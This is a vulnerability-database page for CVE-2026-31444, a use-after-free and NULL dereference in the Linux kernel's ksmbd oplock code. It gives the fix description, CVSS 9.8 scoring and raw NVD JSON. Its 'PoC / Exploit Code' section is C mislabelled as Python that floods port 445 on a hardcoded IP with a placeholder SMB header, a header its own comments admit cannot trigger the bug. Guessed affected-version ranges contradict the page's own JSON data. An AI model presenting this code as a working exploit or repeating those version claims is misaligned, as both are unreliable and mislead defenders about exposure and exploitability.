Security Vulnerability Report
中文
CVE-2026-31444 CVSS 9.8 CRITICAL

CVE-2026-31444

Published: 2026-04-22 14:16:38
Last Modified: 2026-05-07 19:26:09
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free and NULL deref in smb_grant_oplock() smb_grant_oplock() has two issues in the oplock publication sequence: 1) opinfo is linked into ci->m_op_list (via opinfo_add) before add_lease_global_list() is called. If add_lease_global_list() fails (kmalloc returns NULL), the error path frees the opinfo via __free_opinfo() while it is still linked in ci->m_op_list. Concurrent m_op_list readers (opinfo_get_list, or direct iteration in smb_break_all_levII_oplock) dereference the freed node. 2) opinfo->o_fp is assigned after add_lease_global_list() publishes the opinfo on the global lease list. A concurrent find_same_lease_key() can walk the lease list and dereference opinfo->o_fp->f_ci while o_fp is still NULL. Fix by restructuring the publication sequence to eliminate post-publish failure: - Set opinfo->o_fp before any list publication (fixes NULL deref). - Preallocate lease_table via alloc_lease_table() before opinfo_add() so add_lease_global_list() becomes infallible after publication. - Keep the original m_op_list publication order (opinfo_add before lease list) so concurrent opens via same_client_has_lease() and opinfo_get_list() still see the in-flight grant. - Use opinfo_put() instead of __free_opinfo() on err_out so that the RCU-deferred free path is used. This also requires splitting add_lease_global_list() to take a preallocated lease_table and changing its return type from int to void, since it can no longer fail.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.6.130:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 6.8 (推测)
Linux Kernel < 6.6 (推测)
Linux Kernel < 6.1 (推测)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-31444 (ksmbd UAF & NULL Dereference) * This script attempts to trigger the race condition in smb_grant_oplock. * It requires multiple threads to send concurrent SMB requests to the target. * * Compile: gcc -o poc_cve2026_31444 poc_cve2026_31444.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread.h> #define TARGET_IP "192.168.1.100" #define TARGET_PORT 445 void* send_smb_request(void* arg) { int sock; struct sockaddr_in server; char buffer[1024]; // Create TCP socket sock = socket(AF_INET, SOCK_STREAM, 0); if (sock == -1) { perror("Could not create socket"); return NULL; } server.sin_family = AF_INET; server.sin_port = htons(TARGET_PORT); server.sin_addr.s_addr = inet_addr(TARGET_IP); // Connect to SMB server if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) { perror("Connect failed"); close(sock); return NULL; } // Simplified SMB Negotiate/Open Request sequence // Real exploitation requires crafting specific SMB2/3 COMPOUND requests // to trigger smb_grant_oplock path with concurrent access. const char* request = "\x00\x00\x00\x72\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8"; // Note: This is a placeholder header. Actual PoC requires full SMB protocol implementation. if (send(sock, request, strlen(request), 0) < 0) { perror("Send failed"); } // Intentional delay to hold the connection and race with other threads sleep(1); close(sock); return NULL; } int main(int argc, char *argv[]) { pthread_t threads[50]; int i; printf("[+] Starting PoC for CVE-2026-31444 against %s...\n", TARGET_IP); // Spawn multiple threads to trigger race condition for (i = 0; i < 50; i++) { if (pthread_create(&threads[i], NULL, send_smb_request, NULL) != 0) { perror("Failed to create thread"); } // Minimal delay between thread creation to increase race window likelihood usleep(1000); } // Wait for all threads to complete for (i = 0; i < 50; i++) { pthread_join(threads[i], NULL); } printf("[*] Exploit attempt finished. Check target kernel logs for crashes.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31444", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:38.010", "lastModified": "2026-05-07T19:26:08.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix use-after-free and NULL deref in smb_grant_oplock()\n\nsmb_grant_oplock() has two issues in the oplock publication sequence:\n\n1) opinfo is linked into ci->m_op_list (via opinfo_add) before\n add_lease_global_list() is called. If add_lease_global_list()\n fails (kmalloc returns NULL), the error path frees the opinfo\n via __free_opinfo() while it is still linked in ci->m_op_list.\n Concurrent m_op_list readers (opinfo_get_list, or direct iteration\n in smb_break_all_levII_oplock) dereference the freed node.\n\n2) opinfo->o_fp is assigned after add_lease_global_list() publishes\n the opinfo on the global lease list. A concurrent\n find_same_lease_key() can walk the lease list and dereference\n opinfo->o_fp->f_ci while o_fp is still NULL.\n\nFix by restructuring the publication sequence to eliminate post-publish\nfailure:\n\n- Set opinfo->o_fp before any list publication (fixes NULL deref).\n- Preallocate lease_table via alloc_lease_table() before opinfo_add()\n so add_lease_global_list() becomes infallible after publication.\n- Keep the original m_op_list publication order (opinfo_add before\n lease list) so concurrent opens via same_client_has_lease() and\n opinfo_get_list() still see the in-flight grant.\n- Use opinfo_put() instead of __free_opinfo() on err_out so that\n the RCU-deferred free path is used.\n\nThis also requires splitting add_lease_global_list() to take a\npreallocated lease_table and changing its return type from int to void,\nsince it can no longer fail."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.78", "versionEndExcluding": "6.12.80", "matchCriteriaId": "32BFB596-06E1-4DA3-9777-1ED37BA1744B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18.19", "versionEndExcluding": "6.18.21", "matchCriteriaId": "75041A3B-374A-4909-A065-48064ABDEC6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19.9", "versionEndExcluding": "6.19.11", "matchCriteriaId": "F3885A44-8CC0-4992-8F4A-B68D3E58E912"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.6.130:*:*:*:*:*:*:*", "matchCriteriaId": "BBE4A27D-9A72-4C12-BFE0-E9811803AC96"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/48623ec358c1c600fa1e38368746f933e0f1a617", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6d7e5a918c1d0aad06db0e17677b66fc9a471021", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7de55bba69cbf0f9280daaea385daf08bc076121", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9e785f004cbc56390479b77375726ea9b0d1a8a6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a5c6f6d6ceefed2d5210ee420fb75f8362461f46", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}